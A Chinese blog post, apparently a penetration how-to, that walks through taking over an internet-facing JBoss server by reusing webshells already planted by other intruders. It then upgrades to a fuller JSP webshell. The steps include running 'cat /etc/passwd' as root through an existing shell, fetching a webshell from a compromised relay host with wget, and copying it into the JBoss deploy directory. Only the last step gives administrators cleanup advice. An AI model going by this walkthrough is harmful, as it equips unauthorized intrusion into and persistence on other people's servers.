Jboss信息查看获取Webshell

关于Jboss的渗透有很多方法,本文提到的这个方法是在前人的基础上快速获取Webshell,该方法简单可行。对于linux的渗透国外黑客喜欢直接执行命令,而国人喜欢GUI,因此在获取简单的Webshell也即仅仅可以执行命令的Webshell情况下,如何获取真正可操作的Webshell也是一大难点,本文介绍的方法就是专门解决该办法。
1.测试Jboss网页
通过端口扫描获取80和8080端口开放的服务器,如图1所示,该服务器采用80端口作为Jboss的Web应用端口。测试Jboss网页的目地是为了查看Jboss服务器是否能正常运行,一些服务是否开启。
在这里插入图片描述

图1测试Jboss网页
2.查看Tomcat状态
很多人首先想到的就是通过JMX Console的deployment的addurl函数来部署war的JspWebshell,实际上只要存在漏洞的互联网服务器,还是有很多黑客进行入侵,特别是国外的黑客。通过查看Tomcat的所有状态来获取目前Jboss应用应用的运行情况,如图2所示,从该图中可以看到至少被两个人入侵过,且服务器还在运行该Webshell,“zecmd/zecmd.jsp”即为网站的Webshell。
在这里插入图片描述

图2查看Tomcat的状态
3.执行命令测试
输入Webshell的完整地址,打开该Webshell页面,如图3所示,在输入框中输入“cat /etc/passwd”查看Linux系统用户的密码,测试结果表明该Webshell的权限是root权限,也即服务器权限。
在这里插入图片描述

图3测试Webshell
4.下载JspWebshell的txt文件到本地
虽然获取Webshell,但该Webshell为cmd的Webshell操作起来非常不方便,因此需要上传并部署一个好用的Webshell。先在肉机服务器上上传一个txt的JspWebshell,然后使用wget http://www.somesite.com/Browser.txt将该文件下载到该Linux服务器上,然后使用“ls –al”查看文件是否下载成功,如图4所示,在该列表中显示Browser.txt已经成功下载到本地。
在这里插入图片描述

图4下载Webshell到linux服务器
5.寻找可运行路径
在Linux层次结构中,用户可以在被授权的任意目录下利用mkdir命令创建新目录,也可以利用cd命令从一个目录转换到另一个目录。然而,没有提示符来告知用户目前处于哪一个目录中。想要知道当前所处的目录,可以用pwd(Print Work Directory的简写pwd)命令,该命令显示整个路径名。在渗透过程中pwd命令使用非常频繁,在本例中使用“pwd”命令获取当前路径位置,如图5所示,显示路径为“/opt/jboss-4.0.5.GA/bin”。
在这里插入图片描述

图5获取当前执行命令的路径
6. 查看Jboss默认部署路径的文件和目录
通过“ls-al”来获取当前路径下的文件和目录名称,完整命令为“ls -al /opt/jboss-4.0.5.GA/”,通过在绝对路径中添加新的路径来获取Jboss部署的路径,“/opt/jboss-4.0.5.GA /server/default/deploy/”,如图6所示,显示的分为文件和目录,目录是以d开头的。
在这里插入图片描述

图6查看Jboss默认部署路径的文件和目录
7.查看管理后台部署文件
部署路径下的目录有两种一种是“filename.war”,另外一种是系统自带的,例如“management”目录就是管理默认目录,如图7所示,该目录已经被部署了好几个shell。
在这里插入图片描述

图7查看管理后台部署文件
8. 复制JspWebshell到指定目录
将下载的JspWebshell复制到该目录即可获取Webshell,执行命令 “cp Browser.txt /opt/jboss-4.0.5.GA/server/default/deploy/management/zmeu.war/2.jsp”,如图8所示,然后执行“ls –al /opt/jboss-4.0.5.GA/server/default/deploy/management/zmeu.war”命令查看文件是否复制成功,结果如图9所示,文件已经成功复制。
在这里插入图片描述

图8复制JspWebshell到指定目录
在这里插入图片描述

图9查看复制文件是否成功
9.成功获取Webshell
在地址栏输入“http://xxx.xxx.xxx.xxx:8080/zmeu/2.jsp”进行访问,如图10所示,成功获取JspWebshell,前面对Webshell是一个执行命令的WebShell,其功能相对简单,通过将功能复杂的Webshell上传上去才能执行更多的操作。
在这里插入图片描述

图10成功获取JspWebshell
10.管理维护
对于管理人员来说,可以通过查看Tomcat的状态来获取Web应用情况,如图11所示,从Tomcat Status中去看Application list即可,在该列表中可以看到至少被部署了6个Webshell,发现这些Webshell后,到Jboss部署文件夹,将相应的war和文件删除即可。
在这里插入图片描述

图11查看已经被部署的Web应用

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

我是simeon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值